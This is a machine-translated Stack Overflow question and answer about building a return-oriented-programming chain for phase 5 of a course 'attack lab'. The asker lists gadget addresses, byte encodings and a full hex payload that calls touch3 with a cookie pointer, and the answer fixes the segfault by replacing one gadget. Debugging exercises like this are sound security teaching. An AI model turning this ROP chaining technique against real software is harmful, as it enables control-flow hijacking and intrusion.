【问题标题】:Segmentation fault in attack lab phase5攻击实验室阶段的分段错误5
【发布时间】:2019-02-12 10:15:02
【问题描述】:

这是我的软件安全课程中攻击实验室的第 5 阶段。由于地址随机化和不可执行堆栈,我们应该使用面向返回的编程 (ROP) 将给定 cookie 值的字符串指针作为参数传递给名为 touch3 的函数。我无法更好地描述这个问题,因为到目前为止我只能理解,完整的说明在这个 pdf 第 10 页上: Attack Lab

代码的逻辑(我可以找到其他人的答案所示)是:

  1. 填充缓冲区

  2. %rsp保存到一个寄存器中(%rdi这里)

  3. 将地址偏移量保存到寄存器中(此处为%rax

  4. 将上述的总和保存到寄存器中

  5. 调用 touch3

  6. cookie 字符串

  7. \0 结束

我在跟着别人做,我的代码和他们一样,但我实际上并不清楚逻辑,所以我想问几个愚蠢的问题:

  1. 为什么我们需要%rsp和偏移地址之和?

  2. 为什么先将值弹出到%rax,然后我们将cookie字符串的地址传递给%rax

  3. 我做错了什么?

除了仔细检查所有编码和地址是否正确使用之外,我想不出解决此问题的方法。

第一步:

48 89 e0 c3 mov %rsp, %rax

在我的小工具场中,我发现:

401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax
401aeb: c3

401ae6+2,反向 =>

e8 1a 40 00 00 00 00 00

第二步:

48 89 c7 c3 mov %rax, %rdi

在我的小工具农场中,我发现:

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401a33: c3

90 = 不,没关系

401a2d+2,反向 =>

2f 1a 40 00 00 00 00 00

第三步:

58 c3 pop %rax

在我的小工具场中,我发现:

401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)
401a3a: c3

401a34+5,反向 =>

39 1a 40 00 00 00 00 00

第四步:

0x48

这个常数应该是第一行到cookie字符串行-1之间的距离,也称为地址偏移。 cookie 字符串前有 10 行。所以值为 (10-1)*8 = 72 = 0x48

第五步:

89 c2 movl %eax, %edx

在我的小工具场中,我发现:

401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)
401aa8: c3

401aa2+2,反向 =>

a4 1a 40 00 00 00 00 00

第六步:

89 d1 movl %edx, %ecx

在我的小工具场中,我发现:

401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax
401b00: c3

08 c9 = orb R,R = nop,没关系

401afa+2 反向 =>

fc 1a 40 00 00 00 00 00

第七步:

89 ce movl %ecx, %esi

在我的小工具场中,我发现:

401ab0: b8 72 74 89 ce mov $0xce897472,%eax
401ab5: c3

401ab0+3, 反向 =>

b3 1a 40 00 00 00 00 00

第8步:

lea (%rdi, %rsi, 1), %rax

在我的小工具场中,我发现:

401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a6c: c3
401a68,反向 =>

68 1a 40 00 00 00 00 00

第九步:

48 89 c7 c3 mov %rax, %rdi

在我的小工具场中,我发现:

401a48: b8 34 48 89 c7 mov $0xc7894834,%eax
401a4d: c3

401a48+2 反向 =>

4a 1a 40 00 00 00 00 00

第十步:

touch3 地址 (从第 3 阶段确认正确) 8a 19 40 00 00 00 00 00

步骤11:

cookie 的字符串表示 (从第 3 阶段确认正确)

33 65 35 32 64 66 66 35 00


    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 /* buffer */
    e8 1a 40 00 00 00 00 00 /* step1: mov  %rsp, %rax */
    2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
    39 1a 40 00 00 00 00 00 /* step3: pop %rax */
    48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
    a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
    fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
    b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
    68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
    4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */ 
    8a 19 40 00 00 00 00 00 /* step10: touch3 address */
    33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
    00 00 00 00 00 00 00 00     

【问题讨论】:

  • 我们不知道您尝试攻击的第 5 阶段,因此无法评论您的解决方案。使用调试器单步执行,看看发生了什么。编辑:您的第 2 步说“将 %rsp 保存到寄存器中(此处为 %rdi)”,但您的代码保存的是 rax 而不是 rsp。

标签: assembly x86


【解决方案1】:

原因是 0x90 在 step2 中没有作为 nop 工作。通过将步骤 2 的行替换为步骤 9 的行来解决问题。无论如何它们应该是相同的。我以为我碰巧找到了 2 套不同的小工具,所以我使用了两个我认为可以互换的不同地址,但结果 nop 必须从头开始......

第二步:

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

401a33: c3

【讨论】:

    猜你喜欢
    • 2019-04-14
    • 1970-01-01
    • 2017-03-27
    • 1970-01-01
    • 2014-12-06
    • 2017-03-04
    • 1970-01-01
    • 2016-08-09
    相关资源
    最近更新 更多